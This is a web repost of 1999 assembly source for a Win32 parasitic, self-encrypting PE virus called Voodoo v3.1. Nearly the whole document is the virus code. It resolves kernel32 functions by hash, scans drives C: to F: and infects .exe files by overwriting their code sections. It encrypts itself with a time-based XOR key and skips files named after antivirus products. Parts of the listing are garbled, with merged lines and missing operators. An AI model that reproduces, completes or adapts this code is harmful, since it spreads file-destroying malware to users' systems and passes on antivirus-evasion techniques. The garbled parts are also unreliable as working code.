Win32

xiaoxiao2021-03-05  23

; ============================ Win32.voodoo_v3.1 ================ ===========

; Program: Voodoo v3.1

Description: ParasiTic, Crypt PE Virus

Last Modified: 01.09.1999

; Purpose: Process Handling Under Win32

; Target OS: WIN95 / 98 / NT

NOTES:

Imbase EQU 00400000H

ENTYP EQU 00001000H

AddC EQU IMBASE ENTYP 5

Diskcount EQU 4

FileCount EQU 1

SYSTEM32CRC EQU 04C6D9398H

.386P

.MODEL FLAT

Virsize Equ Offset ViODOO_VER_3_0E - Offset Voodoo_Ver_3_1

Memsize EQU 2300H

EXTRN EXITPROCESS: PROC

INCLUDE WIN32CON.INC;   ㄡ ē Consts

.DATA

DB 0

Flag DD 12345678H

Checksum EQU 0B0966F54H

Checksum2 EQU 05E5F512FH

GLOBALLOCCRC EQU 01D2925FEH

GlobalockCrc EQU 0babec79dh

GlobalunlockCrc EQU 09EA2AB80H

GlobalFreeCrc EQU 0B3BDC497H

CreateFileAcrc EQU 0FE222F03H

CreateFilemappingAcrc EQU 0ccf0fbcbh

MapViewoffileCrc EQU 0D3DED3B4H

UnmapViewoffilecrc EQU 0A5ADAF97H

FlushViewoffilecrc EQU 0AFBFBF98H

ReadFilecrc EQU 0e5E1DAC2H

CloseHandlecrc EQU 02731310DH

FindfirstfileAcrc EQU 0315E6238H

FindNextFileAcrc EQU 0C7F4F8CFH

SetFileAttributesAcrc EQU 0ee2112FBH

SetFileTimeCrc EQU 012211900H

GetFilesizeCrc EQU 01E2D17F3H

GetcommandlineAcrc EQU 08CBFBF94H

LSTRCPYACRC EQU 001342E28H

SetFilePointerCrc EQU 065676742H

GetcurrentDirectoryCrc EQU 0E012FECDH

SetCurrentDirectoryCrc EQU 0E012FED9H

GetsystemTimeCrc EQU 018271EF9H

_Globalunlock EQU 0

_GlobalFree EQU _GLOBALUNLOCK 4

_Createfilea EQU _GLOBALFREE 4

_CreateFileMappinga EQU _CREATEFILEA 4

_MapViewOffile EQU _CREATEFILEMAPPINGA 4_UNMAPVIEWOFFILE EQU _MAPVIEWOFFILE 4

_FlushViewoffile EQU _UNMAPVIEWOFFILE 4

_CloseHandle EQU _FLUSHVIEWOFFILE 4

_FindFirstFilea EQU _CloseHandle 4

_FindNextFilea EQU _FINDFIRSTFILEA 4

_SetFileAttributesa EQU _FINDNEXTFILEA 4

_SETFILETIME EQU _SETFILEATTRIBUTESA 4

_Getfilesize EQU _SETFILETIME 4

_GetCommandlinea EQU _GETFILESIZE 4

_Readfile EQU _GETCOMMANDLINEA 4

_LSTRCPYA EQU _READFILE 4

_SetFilePointer EQU _LSTRCPYA 4

_GetcurrentDirectory EQU _SETFILEPOINTER 4

_SetCurrentDirectory EQU _GETCURRENTDIRECTORY 4

_GetsystemTime EQU _SETCURRENTDIRECTORY 4

Oldebp EQU _GETSYSTEMTIME 4

FileSize Equ Oldebp 4

Hhendleoffile EQU FileSize 4

Hhendleofmapfile Equ Hhendleoffile 4

Pointer2MapFile Equ HhendleOfmapFile 4

Tag Equ Pointer2MapFile 4

Searchandle EQU TAG 2

Searchandle2 EQU Searchandle 4

SystemTime EQU Searchandle2 4

Codebuf EQU SystemTime 16

Commandline EQU Codebuf Virsize

Curdir EQU CommandLine 800

Curdir2 EQU Curdir 800

Win32FindData EQU Curdir2 800

CreationTime EQU Win32Finddata 4

Lastaccesstime EQU CREATIONTIME 4

Lastwrittime Equ LastAccesstime 4

FILES EQU LastWritetime 32

NumberofbytesRead Equ Memsize-4

.Code

@Name_pointers_rva equ offset name_pointers_rva - offset entrypoint_

@GetProcaddress Equ Offset getProcaddress - Offset EntryPoint_

@Kernelhandle Equ Offset KernelHandle - Offset EntryPoint_

@_GlobalAlloc Equ Offset _GlobalAlloc - Offset EntryPoint_

@_Globalock Equ Offset _Globalock - Offset Entrypoint_

@MempoInter Equ Offset Mempointer - Offset Entrypoint_

@Nextcode Equ offset Nextcode - Offset EntryPoint_ @ Dirmask Equ Offset Dirmask - Offset EntryPoint_

@Mask Equ Offset Mask - Offset EntryPoint_

@disk Equ Offset Disk - Offset EntryPoint_

@ENTRYPOINTRVA EQU Offset EntryPoinTrva - Offset Entrypoint_

@IMPostTable Equ OffsetTable - Offset EntryPoint_

@ENDIMPORTTABLE EQU Offset EndimportTable - Offset EntryPoint_

VOODOO_VER_3_1:

Call EntryPoint_

EntryPoint_:

Find MZ in Memory

; ----------------------

POPRAVKA EQU Offset Cryptbegin - Offset Voodoo_Ver_3_1

Incax Equ Offset @Incax - Offset Voodoo_Ver_3_1

CRCCode Equ Offset @crccode - Offset Voodoo_Ver_3_1

Mov Al, 00

Call _k

_K: POP ESI

Mov ECX, VIRSIZE - POPRAVKA

Add ESI, Offset CryptBegin- Offset _K; 10H 18 6

MOV EBP, ESP

Crypt: xor byte PTR [ESI], Al

MOV DWORD PTR [EBP 18], 12345678H

CMP DWORD PTR [EBP 18 1], 12345678H

JNE K

JMP VOODOO_VER_3_0E

K: Inc ESI

@Incax: DB 90H, 90H, 90H; Add Ax, CX

Loop Crypt

Cryptbegin:

; ----------------------

Popravka2 Equ Offset CryptBegin2 - Offset Voodoo_Ver_3_1

INCAX2 EQU Offset @ incax2 - Offset Voodoo_Ver_3_1

@Crccode:

Mov Al, 00

Call _k2

_K2: POP ESI

Mov ECX, Virsize - Popravka2

Add ESI, Offset Cryptbegin2- Offset _K2; 10H 18 6

MOV EBP, ESP

Crypt2: XOR BYTE PTR [ESI], Al

MOV DWORD PTR [EBP 18], 12345678H

CMP DWORD PTR [EBP 18 1], 12345678H

JNE K2

JMP VOODOO_VER_3_0E

K2: Inc ESI

@ INCAX2: DB 90H, 90H, 90H; Add Ax, CX

Loop Crypt2

Cryptbegin2:

; ----------------------

Call_ersi

_ °i: POP ESI

POP ECX

Call Scanmz

; in ESI PE HEADER

Add ESI, 80H

Add Edi, DWORD PTR [ESI]; Import RVA

JMP @ L1

Notkernel32:

MOV EBX, EBP

Add Edi, 00014H

@ L1:

CMP DWORD PTR [EDI 0CH], 000000HJE NOTFOUND

Add EBX, DWORD PTR [EDI 0CH]; RVA Name of DLL

Call CRCSUM

CMP Eax, Checksum

JNE NOTKERNEL32

Push EBP

POP ESI

Add ESI, DWORD PTR [EDI 10H]; kernel32 proc

MOV ESI, DWORD PTR [ESI]

CMP Byte PTR [ESI 5], 0E9H; Win98

JNE OK_

Add ESI, DWORD PTR [ESI 6]

OK_: Call Scanmz

; push ebp; hendle of kenel32.dll

Add ESI, 78H

Add Edi, DWORD PTR [ESI]; EDI = EXPORT DIRECTORY TABLE RVA

MOV EAX, EBP

Add Eax, DWORD PTR [EDI 1CH]; Address Table

Push EAX

MOV EDX, EBP

Add Edx, DWORD PTR [EDI 24h]; Ordinal Table

Add EBX, DWORD PTR [EDI 20H]; EBX = Name Pointers RVA

MOV DWORD PTR [ECX @ name_pointers_rva], EBX

MOV ESI, EBX

Push ECX

MOV ECX, DWORD PTR [EDI 18H]; Num of Name Pointers

Push ECX

@ L2: Call ScanNameTable

CMP Eax, Checksum2

Je FoundgetProcadr

Inc ESI

Inc ESI

Inc ESI

Inc ESI

Loop @ L2

FoundgetProcAdr:

POP EAX

Sub eax, ecx; #function

SHL EAX, 1; X2

; Ordinal Table

Add Edx, EAX;

XOR EAX, EAX

MOV AX, Word Ptr [EDX]; Ordinal of getProcaddress

SHL EAX, 2; X4

POP ECX; Entry

POP EBX; Offset To Address Table

Add Ebx, EAX

MOV EAX, DWORD PTR [EBX]

Add Eax, EBP

MOV [@ getProcadDress ECX], EAX

MOV [@ kernelHandle ECX], EBP

Mov Edx, GlobalAlloccrc

Call CalkProcadress

Mov [@ _globalallocc ECX], EAX

Mov Edx, GlobalockCrc

Call CalkProcadress

MOV [@ _globalock ECX], EAX

Push ECX

Push Memsize

PUSH 0

Call dword ptr [@ _globalalloc ECX]

POP ECX

Push ECX

Push EAX

Call dword ptr [@ _globalock ECX]

POP ECX

MOV [@Mempointer ECX], EAX

MOV EBX, EAX

Mov Edi, EAX

Mov ESI, @ ImportTable

Add ESI, ECX

Makeimport:

MOV EDX, DWORD PTR [ESI]

Call CalkProcadress

CLD

Stosd

Inc ESI

Inc ESI

Inc ESI

Inc ESI

CMP Word Ptr [ESI], 6666H

JNE Makeimport

MOV EBP, ECX; Entry!

; ---------------------

; ##########################

Call Infect

; ##########################

MOV ESI, EBP

SUB ESI, 5

Mov Edi, CodeBuf

Add Edi, Ebx; Mempointer

CLD

MOV ECX, Virsize

REP MOVSB

NOTFound:

CMP [Flag], 12345678H

JNE Ret2Prog

PUSH 0

Call EXITPROCESS

Ret2Prog: MOV [Oldebp EBX], EBP

MOV ESI, EBX

MOV EBP, ESI

Add ESI, @ nextcode codebuf 5

Add EBP, Codebuf 5

JMP ESI

NextCode:

Call getcommandlinea

Mov ESI, EAX

CMP BYTE PTR [ESI 1], ':'; for Win9x

JE Normalcommandline

INC EAX

NormalCommandline:

Push EAX

Mov Eax, CommandLine

Add Eax, EBX

Push EAX

Call lstrcpya

Mov ESI, CommandLine

Add ESI, EBX

PUSH ESI

@ L3: Inc ESI

CMP Byte Ptr [ESI], '.'

JNE @ L3

MOV BYTE PTR [ESI 4], 0

POP EAX

Push null

Push file_attribute_archive

Push Open_EXISTING

Push null

Push file_share_read; or file_share_write

Push generic_read; or generic_write

Push EAX

Call Createfilea

MOV [Hhendleoffile EBX], EAX

Push EAX

Push null

Push EAX

Call getFileSize

Mov Edx, EAX

Sub EDX, Virsize

POP EAX

Push EAX

PUSH 0

Push null

Push Edx

Push EAX

Call setfilepointer

POP EAX

Mov EDX, [EBX Oldebp]

Sub EDX, 5

Push Edx

Push null

MOV ECX, NumberofbytesRead

Add ECX, EBX

Push ECX

Push virsize

Push Edx

Push EAX

Call readfile

POP ESI

Call_edi

EntryPoinTrva: DD 0

_EDI: POP EDI

Add ESI, DWORD PTR [EDI]

JMP ESI

; ------------------------------------------------- ---------

Pushwin32Finddata:

Mov Edx, Win32Finddata

Add Edx, EBX

RET

Infectdir:

Mov Eax, Curdir2

Add Eax, EBX

Push Eax;

PUSH 800

Call getCurrentDirectory

Call infect_all_files

Call Pushwin32Finddata

Push Edx

MOV EAX, EBP

Add Eax, @Dirmaskpush EAX

Call FindfirstFilea

Mov DWORD PTR [Searchandle EBX], EAX

L2: Call Pushwin32Finddata

Push Edx

Push DWORD PTR [Searchandle EBX]

Call FindnextFilea

OR EAX, EAX

JZ EXITFROMPROCINFECTDIR

CMP BYTE PTR [Files EBX], '.'

Je L2

MOV EAX, [Win32FindData EBX]

And Eax, File_Attribute_directory

JZ L2

Set New Dir

Mov Edx, Curdir2

Add Edx, EBX

Push Edx

Call setCurrentDirectory

Mov Edx, Files

Add Edx, EBX

; SYSTEM32?

Push EBX

MOV EBX, EDX

Call CRCSUM

POP EBX

CMP EAX, System32Crc

JE L2; DONOTINFECT

Push Edx

Call setCurrentDirectory

Call infect_all_files

JMP L2

EXITFROMPROCINFECTDIR:

RET

; ------------------------------------------------- ---------

INFECT_ALL_FILES:

Call Pushwin32Finddata

Push Edx

Mov Edx, @ Mask

Add Edx, EBP

Push Edx

XOR ECX, ECX

Call FindfirstFilea

Mov DWORD PTR [Searchandle2 EBX], EAX

CMP EAX, -1

JE L2__

Next: or eax, eax

JZ L2__

CMP ECX, FileCount

JGE L2__

Inc ECX

Push ECX

Call infectfile

Call Pushwin32Finddata

Push Edx

Push DWORD PTR [Searchandle2 EBX]

Call FindnextFilea

POP ECX

CMP DI, 9999H

Jne Noerrror

Dec ECX

XOR EDI, EDI

NOERRROR:

JMP next

L2__: RET

; ------------------------------------------------- ------------

Infect:

Mov Eax, Curdir

Add Eax, EBX

Push Eax;

PUSH 800

Call getCurrentDirectory

Call Infectdir

Mov ECX, Diskcount

Scan: PUSH ECX

Mov Eax, @ Disk

Add Eax, EBP

Push EAX

Call setCurrentDirectory

Call Infectdir

Inc Byte PTR [@ Disk EBP]

POP ECX

LOOP SCAN

Mov Eax, Curdir

Add Eax, EBX

Push Eax;

Call setCurrentDirectory

RET

; ------------------------------------------------- ---------

Infectfile:

MOV EAX, EBX

Add Eax, Files

CMP Word PTR [EAX], '- f'; F-port

Je @AV

CMP Word PTR [EAX], 'WA'; AW? JE @AV

CMP Word PTR [EAX], 'Va'; AV ?????

Je @AV

CMP Word PTR [EAX 1], 'Va'; NAV, PAV, RAV, _AVP???

Je @AV

CMP Word PTR [EAX 3], 'Be'; drweb

Je @AV

CMP Word PTR [EAX 2], 'DN'; Panda

Je @AV

CMP DWORD PTR [EAX], 'ITNA'; Anti ???

Je @AV

CMP DWORD PTR [EAX], 'Fasv'; VSAF ???

Je @AV

CMP DWORD PTR [EAX], 'PWSV'; VSWP???

Je @AV

CMP DWORD PTR [EAX], 'VASF'; FSAV ???

Je @AV

Push EAX

Push 00000020H

Push EAX

Call setFileAttributesa

POP EAX

Push null

Push file_attribute_archive

Push Open_EXISTING

Push null

Push file_share_read or file_share_write

Push generic_read or generic_write

Push EAX

Call Createfilea

CMP EAX, -1

JE Error__

Call loadMempoIinter

MOV [Hhendleoffile EBX], EAX

Push EBX

Push null

Push EAX

Call getFileSize

POP EBX

MOV [FileSize EBX], EAX

POINT @ RET: PUSH EDX

Push Eax; To MapViewoffile

Push null

Push EAX

Push null

Push Page_Readwrite

Push null

Push DWORD PTR [HhendleOffile EBX]

Call CreateFilemappinga

MOV [HhendleOfmapFile EBX], EAX

; v steke size

PUSH 0

PUSH 0

Push file_map_write

Push EAX

Call MapViewoffile

MOV [Pointer2MapFile EBX], EAX

POP EDX

CMP Word PTR [Tag EBX], 6666H

JE OKOB

Mov ESI, EAX

CMP BYTE PTR [ESI 18H], 40H

JL OOO

CMP DWORD PTR [ESI 3CH], 00010000H

JG OOO

Mov EDI, DWORD PTR [ESI 3CH]

CMP DWORD PTR [ESI EDI], 00004550H; PE ONLY!

JNE OOO

CMP DWORD PTR [ESI 6FH], 334E4957H; 'Win3' Infected?

Ja OOO

Find code Object

MOV [SystemTime EBX], ESI

;

Add ESI, EDI

MOV Eax, DWORD PTR [ESI 80H]; Import Table RVA

Push EAX

XOR ECX, ECX

MOV CX, Word PTR [ESI 6h]; Num of ObjectMov Edx, DWORD PTR [ESI 28H]; Entry Point RVA

MOV DWORD PTR [EBP @ entrypointrva], edx

Mov EDX, ESI

MOV EAX, 24

Add Ax, Word PTR [ESI 14H]

Mov EDI, ESI

Add Edi, EAX; EDI = Object Table

POP Eax; Import Table RVA

Pusha

Mov Edx, EAX

Find_import_table:

Dec ECX

MOV Eax, DWORD PTR [EDI 0CH]; Object RVA

CMP EDX, EAX

JGE Mabe

INCEDI: Add Edi, 28h

OR ECX, ECX

JE not_find

JMP Find_Import_Table

MABE: Add Eax, DWORD PTR [EDI 10h]; SIZE

CMP EDX, EAX; Object RVA =

Jle L22

JMP INCEDI

L22:

MOV ESI, [Pointer2MapFile EBX]

Push Edx

Sub EDX, DWORD PTR [EDI 0CH]

Add ESI, EDX

MOV Eax, DWORD PTR [EDI 14H]; Phis Offset

Add ESI, ESI

POP EDX; ESI = Phis Offset Import Table

MOV ECX, DWORD PTR [EDI 0CH]; Object RVA

ECTLI_KERNEL:

MOV EDI, DWORD PTR [ESI 0CH]; EDI = Name RVA

CMP EDI, NULL;

JE KERNEL_HET

Sub EDI, ECX

Add Edi, Eax; EAX = Phis Offset

Add Edi, [Pointer2MapFile EBX]

CMP DWORD PTR [EDI], 'NREK'; KERNEL

JE KERNEL_ECT

Add ESI, 14H

JMP ECTLI_KERNEL

KERNEL_HET:

NOT_FIND: POPA

JMP code_not_find

KERNEL_ECT: POPA

_LOOP: DB 08BH, 47H, 24h; Mov Eax, DWORD [EDI 024H]

EXEC_FLAG EQU 20000020H

And Eax, Exec_Flag

JNZ Code_Object

Add Edi, 2ch

Loop _Loop

JMP code_not_find

Code_Object:

CHEK Object Size

CMP DWORD PTR [EDI 10h], Virsize

JL code_not_find

PUSH ESI

MOV ESI, DWORD PTR [SystemTime EBX]

MOV DWORD PTR [ESI 6FH], 334E4957H

POP ESI

Make Writeble

OR DWORD PTR [EDI 24H], 80000000H

MOV Eax, DWORD PTR [EDI 0CH]; Object RVA

Sub DWORD PTR [EBP @ entrypointrva], EAX

MOV DWORD PTR [EDX 28H], EAX; SET New Entry Point RVA; Save Old Programmmm

Call Closemapping

MOV Word PTR [EBX TAG], 06666H

MOV EAX, DWORD PTR [EBX FileSize]

Push EAX

Add Eax, Virsize

JMP Point @ Ret

OKOB: MOV Word PTR [EBX TAG], 09999H

MOV ESI, DWORD PTR [EDI 14H]; Phisical Offset

Add ESI, DWORD PTR [EBX POINTER2MAPFILE]

; Add ESI, EDX

POP EDI

Add Edi, DWORD PTR [EBX POINTER2MAPFILE]

MOV ECX, Virsize

Push ESI; CODE

PUSH ESI

CLD

REP MOVSB

Write Bady to Program

MOV ESI, EBP

SUB ESI, 5

POP EDI; CODE

MOV ECX, Virsize

CLD

REP MOVSB

MOV EAX, EBX

Add Eax, SystemTime

Push EAX

Call getSystemTime

MOV AX, Word PTR [EBX SystemTime 14]]

POP ESI

MOV BYTE PTR [ESI 6], Al

MOV BYTE PTR [ESI CRCCODE 1], AL;?

MOV DWORD PTR [ESI Incax], 0e2C10366H; Inc AX

MOV DWORD PTR [ESI Incax2], 0e2C10366H; Inc AX

PUSH ESI

Push EAX

Mov ECX, Virsize- Popravka2

Add ESI, Offset CryptBegin2- Offset Voodoo_Ver_3_1;

Crypt_2: xor byte PTR [ESI], Al

Add Ax, CX

Inc ESI

LOOP CRYPT_2

POP EAX

POP ESI

Mov ECX, Virsize- Popravka

Add ESI, Offset CryptBegin- Offset Voodoo_Ver_3_1; 2EH 6

Crypt_: xor byte PTR [ESI], Al

Add Ax, CX

Inc ESI

LOOP CRYPT_

CODE_NOT_FIND:

OOO2: Call Closemapping

ERROR__2: Call Pushwin32Finddata

Push DWORD PTR [EDX]

MOV EAX, EBX

Add Eax, Files

Push EAX

Call setFileAttributesa

@AV: RET

OOO: MOV DI, 9999H

JMP OOO2

ERROR__: MOV DI, 9999H

JMP Error__2

; ------------------------------------------------- -------

CalkProcadress: Push ECX

PUSH ESI

Push EDI

Mov ESI, @ name_pointers_rva

Add ESI, ECX

MOV ESI, DWORD PTR [ESI]

FCRC: Call ScanNameTable

CMP EAX, EDX

JE FOCRC

Inc ESI

Inc ESI

Inc ESI

Inc ESI

JMP FCRC

FOCRC:

MOV EAX, DWORD PTR [ESI]

Add Eax, EBPPUSH EAX

Mov Eax, @ kernelhandle

Add Eax, ECX

Push DWORD PTR [EAX]

Call Dword PTR [@ getProcaddress ECX]

POP EDI

POP ESI

POP ECX

RET

; ------------------------------------------------- -------

ScanNameTable:

Push EBX

Push ECX

MOV EBX, EBP

Add Ebx, DWORD PTR [ESI]

Call CRCSUM

POP ECX

POP EBX

RET

; ------------------------------------------------- -------

CRCSUM: XOR EAX, EAX

SUM: Add Eax, DWORD PTR [EBX]

CMP Byte PTR [EBX 4], 0

JE EXITFROMCRCSUM

Inc EBX

JMP SUM

EXITFROMCRCSUM:

RET

; ------------------------------------------------- -------

ScanMz:

PUSH ECX; //

And Si, 111100000000000000B

ScanMz_:

SUB ESI, 1000H

CMP Word PTR [ESI], 'ZM'

JNE scanmz_

Mov EDI, ESI

MOV EBX, ESI

MOV EBP, ESI

PUSH ESI

CMP DWORD PTR [ESI 3CH], 00010000H

JG nextmz

Add ESI, DWORD PTR [ESI 3CH]

CMP DWORD PTR [ESI], 004550H

Nextmz: POP ESI

JNE scanmz_

Add ESI, DWORD PTR [ESI 3CH]

POP ECX

RET

; --- Local ----------

Closemapping:

Push Edx

Push DWORD PTR [Pointer2MapFile EBX]

Call unmapviewoffile

Push DWORD PTR [HhendleOfmapFile EBX]

Call Closehandle

POP EDX

RET

; ------------------------------------------------- -------

LoadMempoInter:

MOV EBX, DWORD PTR DS: [EBP @MEMPOINTER]

RET

; ---- IMPORT ---------

GetFileSize: Call LoadMempointer

JMP DWORD PTR DS: [EBX _GETFILESIZE]

CreateFilea: Call LoadMempointer

JMP DWORD PTR DS: [EBX _CREATEFILEA]

CreateFilemappingA:

Call loadMempoIinter

JMP DWORD PTR DS: [EBX _CREATEFILEMAPPINGA]

MapViewOffile:

Call loadMempoIinter

JMP DWORD PTR DS: [EBX _MAPVIEWOFFILE]

UnmapViewoffile:

Call loadMempoIinter

JMP DWORD PTR DS: [EBX _UNMAPVIEWOFFILE]

FlushViewoffile:

Call loadMempoIinter

JMP DWORD PTR DS: [EBX _FLUSHVIEWOFFILE] CloseHandle: Call LoadMempointer

JMP DWORD PTR DS: [EBX _CLOSEHANDLE]

Getcommandlinea:

Call loadMempoIinter

JMP DWORD PTR DS: [EBX _GetCommandlinea]

LSTRCPYA: CALL LOADMEMPOINTER

JMP DWORD PTR DS: [EBX _LSTRCPYA]

Readfile: Call LoadMempointer

JMP DWORD PTR DS: [EBX _READFILE]

SetFilePointer: Call LoadMempointer

JMP DWORD PTR DS: [EBX _SETFILEPOINTER]

FindfirstFilea: Call LoadMempoInter

JMP DWORD PTR DS: [EBX _FINDFIRSTFILEA]

FINDNEXTFILEA: CALL LOADMEMPOINTER

JMP DWORD PTR DS: [EBX _FINDNEXTFILEA]

GetCurrentDirectory:

Call loadMempoIinter

JMP DWORD PTR DS: [EBX _GetcurrentDirectory]

SetCurrentDirectory:

Call loadMempoIinter

JMP DWORD PTR DS: [EBX _SETCURRENTDIRECTORY]

SetFileAttributesa:

Call loadMempoIinter

JMP DWORD PTR DS: [EBX _SETFILEATTRIBUTESA]

SETFILETIME:

Call loadMempoIinter

JMP DWORD PTR DS: [EBX _SETFILETIME]

GetSystemTime:

Call loadMempoIinter

JMP DWORD PTR DS: [EBX _GETSYSTEMTIME]

DB '(c) VOODOO / SMF V3.1 07.08.1999'

; -------------------

GetProcaddress DD 11223344H

KernelHandle DD 11223344H

Name_Pointers_RVA DD 11223344H

_GlobalAlloc DD 11223344H

_Globalock DD 11223344H

Mempointer DD 11223344H

Disk DB 'C: /', 0

Dirmask DB '*. *', 0

Mask DB '* .exe', 0

Importcount Equ (Offset EndimportTable- Offset ImportTable) / 4

ImportTable: DD GlobalUnlockCrc

DD GlobalFreeCrc

DD CREATEFILEACRC

DD CreateFilemappingAcrc

DD MapViewOffileCrc

DD unmapViewoffileCRC

DD flushviewoffilecrc

DD CloseHandleCrc

DD FindfirstFileAcrc

DD FINDNEXTFILEACRC

DD setFileAttributesAcrc

DD setFileTimeCrc

DD getFileSizeCrc

DD getcommandlineAcrc

DD ReadFileCRC

DD LSTRCPYACRC

DD setfilepointercrcdd getcurrentdirectoryCRC

DD setCurrentDirectoryCRC

DD GetSystemTimeCrc

DW 6666H

EndimportTable:

VOODOO_VER_3_0E:

ENDS

End voodoo_ver_3_1

===== CUT =====

转载请注明原文地址:https://www.9cbs.com/read-37086.html

New Post(0)